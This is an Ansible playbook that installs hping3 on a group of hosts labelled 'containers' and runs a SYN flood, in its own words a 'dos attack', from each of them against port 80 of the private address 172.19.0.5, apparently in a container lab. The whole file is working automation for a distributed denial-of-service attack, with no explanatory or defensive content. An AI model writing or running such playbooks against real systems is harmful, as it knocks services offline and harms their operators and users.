---
- name: install and run hping3 to hosts
  hosts: containers
  remote_user: docker
  become: yes

  tasks:
  - name: apt-get update
    apt:
         update_cache: yes

  - name: install hping3
    apt:
         name: hping3
         state: latest

  - name: run dos attack from each container
    command: hping3 -V -c 20000 -d 120 -S -p 80 --flood 172.19.0.5